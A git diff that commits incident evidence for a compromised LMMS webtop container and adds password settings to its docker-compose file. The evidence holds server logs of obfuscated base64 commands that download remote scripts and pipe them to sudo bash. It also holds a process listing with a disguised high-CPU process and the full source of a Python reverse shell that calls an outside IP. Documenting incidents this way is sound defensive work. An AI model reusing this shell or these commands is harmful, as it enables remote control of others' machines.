progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 34500) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 60970) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 60970) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 60970) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yYzI1OTg4NzI3OWE0YjhiYWVhYTU3MjZhY2Y1Njg3YycgIiRvdXQiICdSRVNVTFRfMmMyNTk4ODcyNzlhNGI4YmFlYWE1NzI2YWNmNTY4N2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yYzI1OTg4NzI3OWE0YjhiYWVhYTU3MjZhY2Y1Njg3YycgIiRvdXQiICdSRVNVTFRfMmMyNTk4ODcyNzlhNGI4YmFlYWE1NzI2YWNmNTY4N2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 882727 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 60970) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 60970) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 60970)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 60970)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 60970) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 51246) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 51246) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 51246) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iY2Y4YWM4MzMyMmU0OTRmODhlMzlmMTVmMjU0NmZhNycgIiRvdXQiICdSRVNVTFRfYmNmOGFjODMzMjJlNDk0Zjg4ZTM5ZjE1ZjI1NDZmYTdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iY2Y4YWM4MzMyMmU0OTRmODhlMzlmMTVmMjU0NmZhNycgIiRvdXQiICdSRVNVTFRfYmNmOGFjODMzMjJlNDk0Zjg4ZTM5ZjE1ZjI1NDZmYTdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 924896 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 51246) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 51246) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 51246)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 51246)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 51246) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 52372) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 52372) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 52372) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9mYzgxZTViYzE0MTA0MTkyYTQ3ZTdiNDFjZjFkNWViYScgIiRvdXQiICdSRVNVTFRfZmM4MWU1YmMxNDEwNDE5MmE0N2U3YjQxY2YxZDVlYmFfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9mYzgxZTViYzE0MTA0MTkyYTQ3ZTdiNDFjZjFkNWViYScgIiRvdXQiICdSRVNVTFRfZmM4MWU1YmMxNDEwNDE5MmE0N2U3YjQxY2YxZDVlYmFfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 925006 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 52372) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 52372) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 52372)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 52372)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 52372) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. diff --git a/docs/incident-2026-11-11/lmms-processes.txt b/docs/incident-2026-11-11/lmms-processes.txt new file mode 100644 index 0000000..a6da7e1 --- /dev/null +++ b/docs/incident-2026-11-11/lmms-processes.txt @@ -0,0 +1,68 @@ +USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND +root 1 0.0 0.0 444 8 ? Ss Nov05 0:00 /package/admin/s6/command/s6-svscan -d4 -- /run/service +root 17 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6-linux-init-shutdownd +root 20 0.0 0.0 216 8 ? Ss Nov05 0:00 /package/admin/s6-linux-init/command/s6-linux-init-shutdownd -d3 -c /run/s6/basedir -g 3000 -C -B +root 36 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-docker +root 37 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-xorg +root 38 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-xsettingsd +root 39 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-selkies +root 40 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-dbus +root 41 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-watchdog +root 42 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-de +root 43 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6rc-fdholder +root 44 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-cron +root 45 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-pulseaudio +root 46 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-nginx +root 47 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6rc-oneshot-runner +root 55 0.0 0.0 216 8 ? Ss Nov05 0:00 /package/admin/s6/command/s6-ipcserverd -1 -- /package/admin/s6/command/s6-ipcserver-access -v0 -E -l0 -i data/rules -- /package/admin/s6/command/s6-sudod -t 30000 -- /package/admin/s6-rc/command/s6-rc-oneshot-run -l ../.. -- +root 255 0.0 0.0 16256 512 ? Ss Nov05 0:00 sleep infinity +abc 257 0.1 0.0 220800 2684 ? Ss Nov05 8:55 /usr/bin/Xvfb :1 -screen 0 2560x1440x24 -dpi 96 +extension COMPOSITE +extension DAMAGE +extension GLX +extension RANDR +extension RENDER +extension MIT-SHM +extension XFIXES +extension XTEST +iglx +render -nolisten tcp -ac -noreset -shmem +root 263 0.0 0.0 15456 532 ? Ss Nov05 0:00 nginx: master process /usr/sbin/nginx -g daemon off; +root 264 0.0 0.0 7616 560 ? Ss Nov05 0:00 bash ./run svc-cron +root 271 0.0 0.0 7616 532 ? Ss Nov05 0:00 bash ./run svc-docker +abc 272 0.0 0.0 584504 1388 ? Ssl Nov05 0:00 /usr/bin/pulseaudio --log-level=0 --log-target=stderr --exit-idle-time=-1 +abc 273 0.0 0.0 8400 736 ? Ss Nov05 0:00 dbus-daemon --system --nofork --nosyslog +root 284 0.0 0.0 7616 552 ? Ss Nov05 0:00 bash ./run svc-xsettingsd +root 291 0.0 0.0 16256 540 ? S Nov05 0:00 sleep infinity +abc 293 0.9 0.0 205136 6904 ? Ss Nov05 78:44 /lsiopy/bin/python3 /lsiopy/bin/selkies --addr=localhost --mode=websockets +root 300 0.0 0.0 16256 536 ? S Nov05 0:00 sleep infinity +root 301 0.0 0.0 7720 552 ? Ss Nov05 0:00 bash ./run svc-de +root 324 0.0 0.0 16256 532 ? S Nov05 0:00 sleep infinity +www-data 329 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 330 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 331 0.0 0.0 15840 520 ? S Nov05 0:00 nginx: worker process +www-data 332 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 333 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 334 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 335 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 336 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 337 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 338 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 339 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +www-data 340 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process +abc 350 0.0 0.0 7064 692 ? S Nov05 0:00 dbus-launch --autolaunch c3c643608a2c4d938fe0ff45bbc71a78 --binary-syntax --close-stderr +abc 358 0.0 0.0 8244 692 ? Ss Nov05 0:00 /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session +abc 378 0.0 0.0 944500 2820 ? Sl Nov05 0:02 /usr/bin/xfce4-session +abc 382 0.0 0.0 7064 668 ? S Nov05 0:00 dbus-launch --exit-with-session /usr/bin/xfce4-session +abc 383 0.0 0.0 8508 836 ? Ss Nov05 0:00 /usr/bin/dbus-daemon --syslog --fork --print-pid 5 --print-address 7 --session +abc 386 0.0 0.0 381088 1156 ? Sl Nov05 0:00 /usr/libexec/at-spi-bus-launcher +abc 392 0.0 0.0 8252 1016 ? S Nov05 0:06 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 11 --address=unix:path=/config/.XDG/at-spi/bus_1 +abc 404 0.0 0.0 168852 1668 ? Sl Nov05 0:05 /usr/libexec/at-spi2-registryd --use-gnome-session +abc 413 0.0 0.0 10484 248 ? Ss Nov05 0:00 /usr/bin/ssh-agent -s +abc 418 0.0 0.0 8352 404 ? Ss Nov05 0:00 /usr/bin/gpg-agent --sh --daemon +abc 421 0.0 0.0 1426868 2764 ? Sl Nov05 3:55 xfwm4 +abc 426 0.0 0.0 349856 2988 ? Sl Nov05 0:01 xfsettingsd +abc 433 0.0 0.0 165364 948 ? Sl Nov05 0:00 /usr/libexec/dconf-service +abc 439 0.0 0.0 899620 6468 ? Sl Nov05 0:13 xfce4-panel +abc 447 0.0 0.0 7616 568 ? S Nov05 0:00 /bin/bash /usr/bin/Thunar --daemon +abc 448 0.0 0.0 488128 2356 ? Sl Nov05 0:01 thunar-real --daemon +abc 456 0.0 0.0 1601460 5836 ? Dl Nov05 0:02 xfdesktop +abc 523 0.0 0.0 442576 1512 ? Sl Nov05 0:01 /usr/bin/lmms +abc 551 0.0 0.0 1697780 2444 ? Sl Nov05 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 20971533 pulseaudio PulseAudio Plugin Adjust the audio volume of the PulseAudio sound system +abc 588 0.0 0.0 416036 2336 ? Sl Nov05 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 20971534 actions Action Buttons Log out, lock or other system actions +abc 600 0.0 0.0 392532 1432 ? Sl Nov05 1:16 /usr/bin/dunst +root 76970 0.0 0.0 19024 3848 ? S Nov06 0:11 python3 /etc/.sys_core/system.py +abc 77839 0.0 0.0 431748 2436 ? Sl Nov06 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 20971532 systray Status Tray Plugin Provides status notifier items (application indicators) and legacy systray items +root 78069 5.4 3.4 3787272 569756 ? Sl Nov06 415:23 [systemd-helper] --config=/tmp/.c.json --no-watch +root 964301 33.3 0.0 2888 1896 ? Ss 13:48 0:00 sh -c ps aux +root 964307 0.0 0.0 9740 4124 ? R 13:48 0:00 ps aux diff --git a/docs/incident-2026-11-11/lmms-system.py b/docs/incident-2026-11-11/lmms-system.py new file mode 100755 index 0000000..a1fd29c --- /dev/null +++ b/docs/incident-2026-11-11/lmms-system.py @@ -0,0 +1,29 @@ +import socket, subprocess, time, sys, os, fcntl +LOCK_FILE = "/tmp/.sys_core.lock" +try: + fp = open(LOCK_FILE, 'w') + fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB) +except IOError: + sys.exit(0) + +SERVER = "84.8.219.196" +PORT = 4444 + +while True: + try: + s = socket.socket() + s.connect((SERVER, PORT)) + while True: + cmd = s.recv(1024).decode() + if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]: + break + try: + res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) + except Exception as e: + res = str(e).encode() + if len(res) == 0: + res = b"[+] Executed\n" + s.send(res) + s.close() + except: + time.sleep(5) diff --git a/music/docker-compose.yml b/music/docker-compose.yml index 6a5aa36..b898d68 100644 --- a/music/docker-compose.yml +++ b/music/docker-compose.yml @@ -11,6 +11,8 @@ services: container_name: lmms restart: unless-stopped environment: + CUSTOM_USER: ${WEBTOP_USER:-family} + PASSWORD: ${WEBTOP_PASSWORD} PUID: 1000 PGID: 100 TZ: Australia/Perth